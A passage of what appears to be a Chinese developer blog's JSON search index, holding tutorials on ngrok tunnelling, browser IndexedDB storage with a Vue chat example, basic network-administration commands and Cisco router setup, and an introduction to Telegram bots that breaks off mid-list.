這個攻擊手法，因此實際的程式碼並不多，而這些攻擊手法都參考自前人們的文章，列表我會附在下面，有興趣的話可以閱讀原文，會講得更詳細一點，如果對哪項攻擊想要深入了解，也可以留言跟我交流。\n","date":"2022-10-03T00:00:00Z","image":"https://live.staticflickr.com/65535/52401028978_fc63caee61_o.jpg","permalink":"https://blog.wayne-project.com/2022-10-03/css-injection/","title":"用 CSS 來偷資料 - CSS injection"},{"content":" 參考文章 參考網址 參考網址 參考網址 前言 在開發的過程中，有時候會需要從另外一臺機器測試在local的網站及服務。最常見的情況就是當要測試網站在手機上看起來長什麽樣子的時候，或者有時候要讓別人連到自己local的sql serer的時候。 ngrok 就是讓這一切變得容易的工具，而且很佛心的是，免費版就夠一般使用。 特性 綁定本機的埠號並接受外部連入。 可穿透 NAT 或防火牆讓外部連入。 會拿到一個 ngork 的網址方便貼到信件或訊息內。 ngrok 產生的網址支援 HTTP / HTTPS。 有 web 界面讓我們可以監看連入的請求內容。 可加設 HTTP 帳密認證，避免被不必要的人亂連。 除了支援 HTTP 外，也支援 WebSocket 和 SSH。 可同時發布多個服務。 還支援 API，可以用 API 操控 ngork。 付費方案可以自定網址。 運作模式 ngrok 就是一個 reverse proxy 的工具，透過把 local 的 port map 到一個 public 的地址，讓外部能夠透過這個 public 地址連到，然後工具用 reverse proxy 和 local 實際的 port 取得資料。 因此有個缺點，就是速度相對較慢，尤其是 ngrok 的伺服器在美國因此也會減少一些速度。不過如果是爲了開發測試用，這個就不算缺點。 ngrok 免費版本提供了一個動態的地址，需要進階功能或者同時map多個服務就需要付費。 其實 ngrok 並未真正的穿透 NAT，它只是接受 ngork cloud 機台轉發來的請求並做出回應，而那個 ngrok 的網址其實也就是連到 ngrok cloud 的網址。\n安裝與使用 需先安裝 unzip (解壓縮用) 1 yum install zip unzip 步驟 1 - 到官網下載相對應系統的 ngrok 安裝包 1 2 ### 以 linux 64 為例 wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip 步驟 2 - 解壓縮安裝包並搬移到 /usr/bin/ 中 1 unzip ngrok-stable-linux-amd64.zip 1 mv ngrok /usr/bin/. 步驟 3 - 到 ngrok 官網註冊一個免費帳號 步驟 4 - 將 dashboard 上顯示的 token 設定至本機 1 ngrok authtoken XXXXXXXXXXXXXXXX 顯示此畫面代表已設定完成。 步驟 5 - 假設服務跑在本機的 port 3000，則執行以下指令 1 ngrok http 3000 顯示此畫面代表已成功跑起服務，打開網址即可。 直到 ngrok 關掉或 ngrok session 過期之前，這兩個 URL 都可以被公開存取。 進階使用 外連的 web 服務加密 有時候給別人測試的鏈接不希望任意的人都能夠開啓，ngrok非常貼心的提供了這個服務。 只需要在 mapping 的時候加上 auth 這個參數就可以設定密碼保護。例如： 1 ngrok http --auth=admin:12345 3000 意思是，賬號要是admin，而密碼是12345 map 到 3000 port。 重寫 hostname 有些服務會使用到 hostname 的值，這個時候重寫 hostname 的功能就變得很重要。可以使用 host-header 做設定。 這邊的例子用的是在 IIS 裏面設定只有 test.com 才會 binding 到 80 port，使用的指令就是： 1 ngrok http --host-header=test.com 80 ","date":"2022-09-26T00:00:00Z","image":"https://live.staticflickr.com/65535/52384429631_a48959b2b8_o.png","permalink":"https://blog.wayne-project.com/2022-09-26/ngrok-basic/","title":"透過 ngrok 產生臨時用的網址到指定機器"},{"content":" 參考網站1\n參考網站2\nIndexedDB 介紹 key-value 的儲存形式，透過索引功能來高效率搜尋資料。 同源政策 same-origin policy：只能取用同網域下的資料。 Async API : 提供非同步 api，單線程的應用下取用資料時就不會有 block the main thread 的情況造成使用者體驗不佳。 transaction : 能夠確保大量寫入資料時的完整性，如果有單筆資料寫入失敗會全數 rollback。 相容性 大部分的瀏覽器都已經支援使用，參閱：When Can I Use IndexedDB 儲存限制 單一資料庫項目的容量/大小並沒有任何限制，但是各個 IndexedDB資料庫的容量就有限制，且根據各瀏覽器其限制會不同。\nChrome：允許瀏覽器使用多達總磁盤空間的60％。 您可以使用StorageManager API來確定可用的最大配額。 其他基於Chromium的瀏覽器可能允許該瀏覽器使用更多存儲空間。 Internet Explorer 10 和更高版本：最多可以存儲250MB，並且在使用了10MB以上時將提示用戶。 Firefox：允許一個來源最多使用2GB。 您可以使用StorageManager API來確定仍有多少可用空間。 Safari (both desktop and mobile) 似乎最多可容納1GB，達到限制後，Safari會提示用戶，以200MB為增量增加限制。 refer to storage-for-the-web\n資料鍵(Key) data type: string, date, float和 array 必須是能排序的值(無法處理多國語言字串排序) 物件存檔有三種方式產生資料鍵: 資料鍵產生器 (key generator)、資料鍵路徑 (key path) 以及指定值。 資料鍵產生器 (key generator)：用產生器自動產生資料鍵。 資料鍵路徑 (key path)：空字串或是javascript identifier（包含用 \u0026ldquo;.\u0026rdquo; 分隔符號的名稱）且路徑不能有空白 (實測過中文會被轉成空字串)。 基本操作步驟 操作IndexedDB的基本步驟建議如下： 開啟資料庫和交易(transaction) 建立物件存檔(object store) 發出資料庫操作請求，例如新增或取得資料 聆聽對應DOM事件等待操作完成 從result物件上取得結果進行其他工作 使用方式 1. 試驗瀏覽器的前綴標示 如果需要試驗瀏覽器的前綴標示，可以如下： 1 2 3 4 5 6 7 // In the following line, you should include the prefixes of implementations you want to test. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; // DON\u0026#39;T use \u0026#34;var indexedDB = ...\u0026#34; if you\u0026#39;re not in a function. // Moreover, you may need references to some window.IDB* objects: window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction; window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange; // (Mozilla has never prefixed these objects, so we don\u0026#39;t need window.mozIDB*) 請注意瀏覽器前綴標示的實作可能不完整、有些問題或仍然遵守舊版標準，因此不建議在正式版程式碼中使用。與其宣稱支援又有問題，倒不如直接不支援。 1 2 3 if (!window.indexedDB) { window.alert(\u0026#34;Your browser doesn\u0026#39;t support a stable version of IndexedDB. Such and such feature will not be available.\u0026#34;); } 2. 開啟資料庫 1 2 3 4 5 6 7 8 9 // Let us open database let request = window.indexedDB.open(\u0026#34;DB名稱\u0026#34;, 3); request.onerror = function(event) { // Do something with request.errorCode! }; request.onsuccess = function(event) { // Do something with request.result! }; 開啟請求並不會立刻開啟資料庫或交易，呼叫open()方法會回傳一個IDBOpenDBRequest物件，這個物件擁有兩個事件(success 和 error)。大部分IndexedDB的非同步功能都會回傳一個IDBDatabase類物件，然後我們可以註冊成功和失敗事件處理器。 .open()方法第二個參數是資料庫版本，資料庫版本決定了資料庫結構，也就是資料庫物件存檔的結構。如果請求版本不存在(比如因為這是一個新資料庫或是資料庫版本已升級)，onupgradeneeded事件會被觸發，然後我們可以在onupgradeneeded事件處理器中再建立新的版本，下面升級資料庫版本有更詳細的說明。 3. 使用資料鍵產生器 當建立物件存檔時設定autoIncrement旗標為ture將啟動資料鍵產生器，預設上該旗標為false。 有了資料鍵產生器，當新增資料到物件存檔中，資料鍵產生器會自動幫我們產生資料鍵。資料鍵產生器產生的資料鍵由整數1開始，而基本上新產生的資料鍵是由前一個資料鍵加1產生。資料鍵的產生不會因為資料刪除或清空所有資料而重新開始起算，所以資料鍵值是一直累加上去的，除非資料庫操作中斷，整個交易作業被取消。 我們可以建立一個有資料鍵產生器的物件存檔如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // Open the indexedDB. var request = indexedDB.open(dbName, 3); request.onupgradeneeded = function (event) { var db = event.target.result; // Create another object store called \u0026#34;names\u0026#34; with the autoIncrement flag set as true. var objStore = db.createObjectStore(\u0026#34;names\u0026#34;, { autoIncrement : true }); // Because the \u0026#34;names\u0026#34; object store has the key generator, the key for the name value is generated automatically. // The added records would be like: // key : 1 =\u0026gt; value : \u0026#34;Bill\u0026#34; // key : 2 =\u0026gt; value : \u0026#34;Donna\u0026#34; for (var i in customerData) { objStore.add(customerData[i].name); } } 關於資料鍵產生器細節，請參考\u0026ldquo;W3C Key Generators\u0026rdquo;。\n4. 新增和刪除資料 在操作資料庫之前必須要先進行交易，交易來自資料庫物件，在交易中要指定涵蓋物件存檔範圍，然後也要決定是要變更資料庫或純粹讀取資料。 交易共有三種種類，分別是讀取(read-only)，讀寫(read/write), 以及版本變更(versionchange)，如果只需要讀資料最好只使用讀取(read-only)交易，因為讀取(read-only)交易可以多重同步進行。 創建資料庫後，如果要寫入資料請這麼做： 1 2 3 4 var transaction = db.transaction([\u0026#34;customers\u0026#34;], \u0026#34;readwrite\u0026#34;); // Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of \u0026#34;readwrite\u0026#34;. // In case you want to support such an implementation, you can just write: // var transaction = db.transaction([\u0026#34;customers\u0026#34;], IDBTransaction.READ_WRITE); 呼叫 transaction() 方法會回傳一個交易物件。transaction()第一個接受參數代表交易涵蓋的物件存檔，雖然傳入空陣列會讓交易涵蓋所有物件存檔，但請不要這麼做，因為根據正式標準傳入空陣列應該要導致InvalidAccessError錯誤；第二個參數代表交易種類，不傳入的話預設為讀取交易，本例要寫入資料庫所以傳入讀寫(\u0026ldquo;readwrite\u0026rdquo;)。 交易的生命週期和事件循環關係密切。當我們發起交易又回到事件循環中後，如果忽略，那麼交易將轉成結束，唯一保持交易存活的方法是在交易上發出請求；當請求完成後我們會收到DOM事件，假設請求結果成功，我們可以在事件的回呼函數(callback中)繼續進行交易，反之，如果我們沒有繼續進行交易，那麼交易將結束，也就是說只要尚有未完成請求的話，交易就會繼續存活，如果收到TRANSACTION_INACTIVE_ERR錯誤那便意謂著交易早已結束，我們錯過了繼續進行交易的機會。 交易能收到三種事件: 錯誤(error)、中斷(abort)以及完成(complete)，其中錯誤事件會向上傳遞，所以任何一個交易下轄的請求產生錯誤事件，該交易都會收到。如果交易收到錯誤事件時，瀏覽器預設行為會中斷交易，除非我們有在錯誤事件上呼叫preventDefault()阻擋瀏覽器預設行動，否則整筆交易都將取消、復原，這樣的設計告訴我們必須要思考如何處裡錯誤，或者說如果對每一個錯誤進行處裡過於麻煩，那麼至少加入一個概括性的錯誤處理器也是可以。只要不處裡錯誤或呼叫abort()，交易將取消、復原，然後中斷事件接著觸發，反之，當所有請求都完成後，我們會收到一個完成事件，所以說如果我們同時發起多項請求時，可以只追蹤單一交易而非個別請求，這樣會大大減輕我們的負擔。 有了交易之後便能夠從中取得物件存檔，有了物件存檔便能夠新增資料(請注意唯有在建立交易時指定的物件存檔能夠取得)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // Do something when all the data is added to the database. transaction.oncomplete = function(event) { alert(\u0026#34;All done!\u0026#34;); }; transaction.onerror = function(event) { // Don\u0026#39;t forget to handle errors! }; var objectStore = transaction.objectStore(\u0026#34;customers\u0026#34;); for (var i in customerData) { var request = objectStore.add(customerData[i]); request.onsuccess = function(event) { // event.target.result == customerData[i].ssn; }; } 呼叫 add() 方法可以加入一筆新資料，呼叫後會回傳一個IDBRequest物件，即為上方範例中的request，如果新增成功，request的成功事件會被觸發，而成功事件物件中有一個result屬性，這個result值剛好就等於新資料的資料鍵，所以說上方範例中的event.target.result剛好就等於顧客的ssn值(因為我們用ssn屬性作為資料鍵路徑)。請注意add方法只在當物件存檔中沒有相同資料鍵資料存在時有用，如果想要更動或是直接覆蓋現存資料請呼叫put方法。 5. 移除資料 移除資料十分容易： 1 2 3 4 var request = db.transaction([\u0026#34;customers\u0026#34;], \u0026#34;readwrite\u0026#34;).objectStore(\u0026#34;customers\u0026#34;).delete(\u0026#34;444-44-4444\u0026#34;); request.onsuccess = function(event) { // It\u0026#39;s gone! }; 6. 讀取資料 要取資料庫內的資料有數種途徑，第一個最簡單的途徑就是提供資料鍵，呼叫 get() 方法取得資料： 1 2 3 4 5 6 7 8 9 10 var transaction = db.transaction([\u0026#34;customers\u0026#34;]); var objectStore = transaction.objectStore(\u0026#34;customers\u0026#34;); var request = objectStore.get(\u0026#34;444-44-4444\u0026#34;); request.onerror = function(event) { // Handle errors! }; request.onsuccess = function(event) { // Do something with the request.result! alert(\u0026#34;Name for SSN 444-44-4444 is \u0026#34; + request.result.name); }; 假設我們把錯誤處理放在資料庫層級，我們可以再縮短上面的程式碼如下： 1 2 3 db.transaction(\u0026#34;customers\u0026#34;).objectStore(\u0026#34;customers\u0026#34;).get(\u0026#34;444-44-4444\u0026#34;).onsuccess = function(event) { alert(\u0026#34;Name for SSN 444-44-4444 is \u0026#34; + event.target.result.name); }; 呼叫 transcation 方法而不指定模式會開啟讀取(readonly)模式，接著取得我們的目標物件存檔，輸入目標資料的資料鍵，呼叫get方法取得請求物件，然後在請求物件上註冊成功事件處理器，當作業成功後，成功事件會觸發，成功事件的物件中含有請求物件(event.target如上述範例)，請求物件中含有請求結果(event.target.result如上述範例)。 7. 使用指標(Cursor) 使用get方法需要知道資料鍵，如果想要一一存取物件存檔中的資料，我們可以利用指標： 1 2 3 4 5 6 7 8 9 10 11 var objectStore = db.transaction(\u0026#34;customers\u0026#34;).objectStore(\u0026#34;customers\u0026#34;); objectStore.openCursor().onsuccess = function(event) { var cursor = event.target.result; if (cursor) { alert(\u0026#34;Name for SSN \u0026#34; + cursor.key + \u0026#34; is \u0026#34; + cursor.value.name); cursor.continue(); } else { alert(\u0026#34;No more entries!\u0026#34;); } }; openCursor 方法第一個參數用來接受資料鍵範圍物件來限制存取資料範圍，第二個參數用來指定存取進行方向，像上面的範例程式便是以資料鍵由小到大之方向存取資料；呼叫openCursor方法後一樣會回傳一個請求物件，成功時成功事件會觸發，不過這裡有些地方要特別注意，當成功事件處裡函數被喚起時，指標物件(cursor)會存放在result屬性內(亦即上述event.target.result)，cursor物件下有兩個屬性，key屬性是資料鍵，value屬性是資料值，如果要取得下一份資料就呼叫cursor的continue()方法，然後cursor物件就會指向下一份資料，當沒有資料時，cursor會是undefined，當請求一開始便找沒有資料，result屬性也會是undefined。 以下用cursor存取一遍資料後放在陣列中的作法相當常見： 1 2 3 4 5 6 7 8 9 10 11 var customers = []; objectStore.openCursor().onsuccess = function(event) { var cursor = event.target.result; if (cursor) { customers.push(cursor.value); cursor.continue(); } else { alert(\u0026#34;Got all customers: \u0026#34; + customers); } }; Warning: 以下範例不是IndexedDB標準!\nMozilla瀏覽器自己做了一個 getAll() 方法來方便一次取得所有cursor下的資料值，這個方法相當方便，不過請小心未來它有可能會消失。以下程式碼的效果和上面的一樣： 1 2 3 objectStore.getAll().onsuccess = function(event) { alert(\u0026#34;Got all customers: \u0026#34; + event.target.result); }; 一一檢查cursor的value屬性較不利性能表現，因為物件是被動一一建立，然而呼叫 getAll()，Gecko一定要一次建立所有物件，所以如果想要一次取得所有物件的資料值陣列使用 getAll() 比較好，如果想要一一檢查每筆資料則請利用cursor的方法。 8. 使用索引 利用一定唯一的ssn碼作為資料鍵相當合乎邏輯(隱私權的問題先擱置一放，不在本文探討範圍)。不過當我們想要查詢使用者的名字的時候，如果沒有索引就需要一一檢查每一筆資料，十分沒有效率，所以我們可以建立name的索引。 1 2 3 4 var index = objectStore.index(\u0026#34;name\u0026#34;); index.get(\u0026#34;Donna\u0026#34;).onsuccess = function(event) { alert(\u0026#34;Donna\u0026#39;s SSN is \u0026#34; + event.target.result.ssn); }; 因為 name 不是唯一值，所以可能會有多筆資料符合\u0026quot;Donna\u0026quot;名字，此時呼叫 get() 會取得資料鍵最小值的資料。 9. 設定指標查詢範圍和方向 如果想要限定指標查詢範圍，那麼在乎叫 openCursor() 或 openKeyCursor() 時第一個參數要傳入 IDBKeyRange 物件以限制範圍。IDBKeyRange物件能夠只聚焦在單一資料鍵上或者一段上下限區間；上下限區間可以是封閉(含界限)或開放(不含界限)，請看以下範例： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // Only match \u0026#34;Donna\u0026#34; var singleKeyRange = IDBKeyRange.only(\u0026#34;Donna\u0026#34;); // Match anything past \u0026#34;Bill\u0026#34;, including \u0026#34;Bill\u0026#34; var lowerBoundKeyRange = IDBKeyRange.lowerBound(\u0026#34;Bill\u0026#34;); // Match anything past \u0026#34;Bill\u0026#34;, but don\u0026#39;t include \u0026#34;Bill\u0026#34; var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound(\u0026#34;Bill\u0026#34;, true); // Match anything up to, but not including, \u0026#34;Donna\u0026#34; var upperBoundOpenKeyRange = IDBKeyRange.upperBound(\u0026#34;Donna\u0026#34;, true); // Match anything between \u0026#34;Bill\u0026#34; and \u0026#34;Donna\u0026#34;, but not including \u0026#34;Donna\u0026#34; var boundKeyRange = IDBKeyRange.bound(\u0026#34;Bill\u0026#34;, \u0026#34;Donna\u0026#34;, false, true); index.openCursor(boundKeyRange).onsuccess = function(event) { var cursor = event.target.result; if (cursor) { // Do something with the matches. cursor.continue(); } }; 有時候我們會想要由大到小查看資料而非預設由小到大方向，傳入第二個\u0026quot;prev\u0026quot;字串便能做到： 1 2 3 4 5 6 7 objectStore.openCursor(null, \u0026#34;prev\u0026#34;).onsuccess = function(event) { var cursor = event.target.result; if (cursor) { // Do something with the entries. cursor.continue(); } }; 由於\u0026quot;name\u0026quot;索引不具唯一性，所以一個名字下可能會出現多筆資料，此時如果想要避開這多筆資料，請傳入\u0026quot;nextunique\u0026quot;或\u0026quot;prevunique\u0026quot;做為第二個方向參數，當傳入之後，如一個名字下遇到多筆資料，則只有資料鍵最小的資料會被回傳。 1 2 3 4 5 6 7 index.openKeyCursor(null, \u0026#34;nextunique\u0026#34;).onsuccess = function(event) { var cursor = event.target.result; if (cursor) { // Do something with the entries. cursor.continue(); } }; 關於可傳入的方向參數，請參考IDBCursor常數。\n安全性 IndexedDB遵守同源政策，所以它綁定創建它的來源網站，其他來源網站無法存取。 就像對載入 \u0026lt;frame\u0026gt; 和 \u0026lt;iframe\u0026gt; 網頁的第三方cookie所設下的安全性和隱私權考量限制，IndexedDB無法在載入 \u0026lt;frame\u0026gt; 和 \u0026lt;iframe\u0026gt; 網頁上運作，詳情請見 bug 595307。 瀏覽器關閉風險 當瀏覽器關閉，例如使用者按下關閉鈕，任何未完成IndexedDB交易都將默默中止，這些交易不會完成，錯誤事件也不會觸發。既然瀏覽器可能隨時被關閉，我們無法完全指望任何特定交易一定會完成，或是依賴錯誤事件做出相應處理，針對這種狀況，我們需要注意： 每一筆交易結束後都應該要保持資料庫完整性，例如說，有一串使用者編輯項目清單正要存入資料庫，我們如果先在一個交易中清除舊清單，然後在另一個交易中存入新清單，那就會面臨到清除完就清單後，新清單存入交易還來不及回存，瀏覽器就關閉的風險，而這個時候資料庫裡面的清單資料將消失。所以比較好的做法應該是在同一筆交易中完成清除舊清單和存入新清單。 永遠不要在unload事件中執行資料庫交易，因為如果unload事件是觸發在瀏覽器關閉下，任何資料庫交易都不會發生，或許，瀏覽器(或分頁)打開時讀取資料庫，更新資料庫當使用者編輯資料，當瀏覽器(或分頁)關閉時儲存資料這樣的做法比較直覺，不過資料庫的操作是非同步進行地，所以瀏覽器關閉的執行會在資料庫操作前發生，進而中斷後續非同步的資料庫交易，所以在unload事件中執行資料庫交易是行不通地。 事實上不論瀏覽器是否正常關閉，都沒有任何方法保證IndexedDB交易能夠順利完成，請見 bug 870645。 範例練習：將聊天室推播訊息寫進 IndexedDB 建立db.js，並將操作 IndexedDB 整合至檔案中。 vue檔引入db.js，並一次僅撈最新50筆資料。 db.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 // 回傳是否支援 IndexedDB export function isSupportDB() { const indexedDB = window.indexedDB || window.webkitIndexedDB || window.mozIndexedDB || window.msIndexedDB return !!indexedDB } // 打開or建立DB export function openDB() { return new Promise((resolve, reject) =\u0026gt; { const request = indexedDB.open(\u0026#34;ChatDB\u0026#34;) // 打開or建立聊天室DB request.onerror = e =\u0026gt; { console.log(\u0026#34;idb create fail\u0026#34;) reject(e) } request.onsuccess = () =\u0026gt; { console.log(\u0026#34;idb create success\u0026#34;) DBObject = request.result resolve(DBObject) // 成功後返回DB物件 } request.onupgradeneeded = e =\u0026gt; { // 若版本已升級則重新建立DB物件，並返回DB物件 DBObject = e.target.result DBObject.createObjectStore(\u0026#34;chatData\u0026#34;, { keyPath: \u0026#34;index\u0026#34;, autoIncrement: true }) resolve(DBObject) } }) } // 取歷史聊天紀錄最新50筆 export function getHistory(num) { return new Promise(resolve =\u0026gt; { const objectStore = DBObject.transaction([\u0026#34;chatData\u0026#34;], \u0026#34;readonly\u0026#34;).objectStore(\u0026#34;chatData\u0026#34;) let getKey = objectStore.getAllKeys() getKey.onsuccess = () =\u0026gt; { let result = [] for (let i = getKey.result.length - num * 50 - 1; i \u0026gt; getKey.result.length - num * 50 - 50 - 1; i--) { let getItem = objectStore.get(getKey.result[i]) getItem.onsuccess = () =\u0026gt; { result.unshift(getItem.result) } } resolve(result) } // 一次撈全部資料 // const request = DBObject.transaction([\u0026#34;chatData\u0026#34;], \u0026#34;readonly\u0026#34;).objectStore(\u0026#34;chatData\u0026#34;).getAll() // request.onsuccess = () =\u0026gt; { // resolve(request.result) // } }) } // 收到推播將訊息寫入idb export function addToDB(data) { const request = DBObject.transaction([\u0026#34;chatData\u0026#34;], \u0026#34;readwrite\u0026#34;) request.objectStore(\u0026#34;chatData\u0026#34;).add(data) //数据写入成功的回调 request.onsuccess = () =\u0026gt; {} request.onerror = event =\u0026gt; { console.log(event) } } // 清除idb聊天紀錄 export function clearDB() { const request = DBObject.transaction([\u0026#34;chatData\u0026#34;], \u0026#34;readwrite\u0026#34;) request.objectStore(\u0026#34;chatData\u0026#34;).clear() } chatroom.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ... \u0026lt;script\u0026gt; import * as idb from \u0026#34;@/utils/db\u0026#34; export default { data: { return { msgData: [], historyRange: 0 } } mounted() { setTimeout(() =\u0026gt; { this.getHistory(this.historyRange) }, 500) } methods: { getHistory(num) { if (idb.isSupportDB()) { // 若支援則開啟DB，並待回傳後撈資料 idb.openDB().then(() =\u0026gt; { idb.getHistory(num).then(result =\u0026gt; { setTimeout(() =\u0026gt; { if (!this.msgData.length) { // 未有資料時直接定義 this.msgData = result } else { result.forEach(item =\u0026gt; { // 將撈到的資料由前塞入msgData this.msgData.unshift(item) }) } this.historyRange++ }, 0) }) }) } }, add(data) { idb.addToDB(data) }, clearDB() { idb.clearDB() } } } \u0026lt;/script\u0026gt; ","date":"2022-09-12T00:00:00Z","image":"https://live.staticflickr.com/65535/52351840670_d321f7cc15_o.jpg","permalink":"https://blog.wayne-project.com/2022-09-12/use-indexeddb/","title":"前端緩存大筆資料：IndexedDB 介紹/應用"},{"content":" 指導教師：黃威誌 使用軟體 Cisco Packet Tracer Cisco官方網路模擬器 CPT下載教學\nwireshark(3.6.0) 封包擷取工具 下載wireshark\nVmware 虛擬機軟體 下載Vmware\n指令筆記 ping 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ### 常用來測試的ip ### 中華電信DNS ping 168.95.1.1 ### Google ping 8.8.8.8 \u0026gt;\u0026gt;\u0026gt; 回覆自 [IP]: 位元組=32 時間=7ms TTL=245 \u0026gt;\u0026gt;\u0026gt; 回覆自 [IP]: 位元組=32 時間=7ms TTL=245 \u0026gt;\u0026gt;\u0026gt; 回覆自 [IP]: 位元組=32 時間=7ms TTL=245 \u0026gt;\u0026gt;\u0026gt; 回覆自 [IP]: 位元組=32 時間=7ms TTL=245 時間: 若連續超過100ms，代表網路有問題 TTL: Time to live ipconfig 查詢電腦網卡設定 ipconfig(Windows) / ifconfig(Linux/UNIX) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ### 基本使用 ipconfig ### 更詳細版本 ipconfig /all ### 查詢參數 ipconfig /? ### 釋放IP位址 ipconfig /release # IPv4 ipconfig /release6 # IPv6 ### 重新取得IP位址 (會造成瞬間斷線) ipconfig /renew # IPv4 ipconfig /renew6 # IPv6 ### 清除DNS快取 ipconfig /flushdns tracert 追蹤連線出去的節點 最多30個節點 1 2 3 4 tracert 168.95.1.1 ### 也可輸入網址 tracert www.pchome.com.tw nslookup 判斷DNS名稱解析伺服器是否正常 1 2 3 4 nslookup 168.95.1.1 ### 也可輸入網址 nslookup www.pchome.com.tw netstat 查詢電腦連線服務的狀態 使用port：7 1 2 3 4 netstat ### 列出目前所有的網路狀態(包含IPv6) netstat -an Cisco Packet Tracer 設定Router 範例使用的設備\nRouters: 1841 router Connections: RS 232 Devices: PC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ### 進入router Router\u0026gt; enable Router# ### 進入privey config Router# configure terminal Router(config)# ### 設定 hostname (範例設定為\u0026#34;ISP_1\u0026#34;) Router(config)# hostname ISP_1 ### 設定網卡介面 (範例設定為\u0026#34;fastEthernet 0/0\u0026#34;) ISP_1(config)# interface fastEthernet 0/0 ISP_1(config-if)# ### 設定IP ISP_1(config-if)# ip address 192.168.0.5 255.255.255.0 ISP_1(config-if)# ### 離開並查看IP設定 ISP_1(config-if)# exit ISP_1(config)# exit ISP_1# ISP_1# show running-config Building configuration... Current configuration : 575 bytes ! version 12.4 no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname ISP_1 ! ! ! ! ! ! ! ! ip cef no ipv6 cef ! ! --More-- Wireshark 防火牆概念 FTP 使用TCP通訊協定 使用port：21(命令傳輸)、20(檔案傳輸) 近期已較不常使用，因安全性問題 SSH(secure shell) 使用TCP通訊協定 用於登入系統、傳輸指令 加密傳輸 使用port：22 telnet 使用TCP通訊協定 用於文字命令 無加密 使用port：23 SMTP(simple mail transfer protocal) 使用DNS Server的MX Record 用於寄出mail 使用TCP通訊協定 使用port：25 對寄件者身分不做驗證，只會驗證收件者 現今已較少使用，通常已改使用網頁式的mail，較於安全且減省資源 POP3 用來接收mail、遠端管理郵件，可以單純下載，伺服器端不需刪除 採用不加密通訊 新版(POP3S)採取加密通訊 使用TCP通訊協定 使用port：110 WHOIS 用於查詢網際網路中網域名稱IP與所有者的資訊 使用TCP通訊協定 使用port：43 DNS(domain name system) 用於網域名稱與IP的對應查詢 同時使用TCP/UDP通訊協定 使用port：53 HTTP(hypertext transfer protocol) 網頁的發布和接收 使用TCP通訊協定 使用port：80 (8080為替代port) IMAP 用於線上和離線狀態的瀏覽模式 使用TCP通訊協定 使用port：143 (8080為替代port) ","date":"2022-09-12T00:00:00Z","image":"https://live.staticflickr.com/65535/52351384271_09abac0c54_o.jpg","permalink":"https://blog.wayne-project.com/2022-09-12/network-management-lesson/","title":"網路管理技術應用實務班筆記"},{"content":" 參考網站 - Telegram 聊天機器人原理\n參考網站 - 向 @BotFather 申請一隻機器人吧！\n參考網站 - Telegram 機器人的設定\n參考網站 - CI/CD trigger WebHook to Telegram Bot\n參考網站 - How to setup a Telegram bot for your Drone CI/CD builds\nTelegram 聊天機器人原理 機器人的運作原理 現在你發了一段訊息給機器人\n但是並不是機器人直接回你訊息\n詳細情況如下圖：\n一開始你的訊息會被傳送到 TG 伺服器 TG 伺服器會通知機器人：欸！有一則新訊息 機器人會發一個指令給 TG 伺服器 TG 伺服器照著指令的需求，回應訊息給你 機器人接收訊息的兩種模式 機器人可以放在伺服器，也可以用客戶端的方式運作\nWebhook\n以 伺服器 方式被動接收訊息，需要有 IP 位置，通常會放在 網站伺服器(Web Hosting) 上，要自己架設網站伺服器不是件容易的事，所以官方還提供了另一種做法 Long Polling。\n以 客戶端 方式主動跟 TG 伺服器要訊息，可以直接 在自己電腦上運作，不需要架(租)伺服器也能讓機器人順利運作，缺點就是電腦要一直開著，當然你也可以使用 雲端服務(IaaS、PaaS、SaaS)。 機器人發送訊息的三種方式 HTTP GET 1 https://api.telegram.org/bot{Token}/{Method}?{Parameter1}={Value1}\u0026amp;{Parameter2}={Value2} 直接以 網址參數 的方式傳送指令，GET 沒有 Body，只傳送 Headers (你可以當作不會傳送檔案過去)，通常是用來取資料用，優點是可以直接用瀏覽器執行，缺點是有 2KB 的限制，雖然不太可能用到這長的指令，但還是比較建議使用 POST。\nHTTP POST 1 {\u0026#34;method\u0026#34;:\u0026#34;Method\u0026#34;,\u0026#34;Parameter1\u0026#34;:\u0026#34;Value1\u0026#34;,\u0026#34;Parameter2\u0026#34;:\u0026#34;Value2\u0026#34;} POST 是 以 Body 傳送資料(檔案)，程式通常都是以這種方式溝通，網頁裡的表單也經常是以這種方式傳送，資料不會顯示在網址列，可以傳送的資料大小比 GET 大得多：1MB ~ 2GB。\n直接 Print 這個方式 只有在 webhook 模式 下才能使用，因為只有伺服器可以直接回應訊息。\n向 @BotFather 申請一隻機器人吧！ The BotFather The Botfather 這個名字是致敬 1972 年的美國電影《教父》\n它是機器人，也是機器人的管理者\n幾乎所有機器人的設定、建立都要透過他\n用機器人設定機器人聽起來就很有趣，對吧？\n@BotFather 的功能 私訊 @BotFather ，按「開始」後就會顯示出一大堆指令，真是令人眼花撩亂\n官方網頁版說明\n簡單介紹幾個比較常用的功能：\n指令 說明 /newbot 建立一個新的機器人 /mybots 列出所有機器人，用按鈕的方式設定機器人，而非指令（這樣可以讓聊天紀錄變得很乾淨，我比較喜歡用這個） 修改相關 /setname 修改顯示名稱 /setdescription 修改說明 /setabouttext 修改簡介 /setuserpic 修改大頭貼 /setcommands 修改指令選單 /deletebot 刪除機器人 設定相關 /token 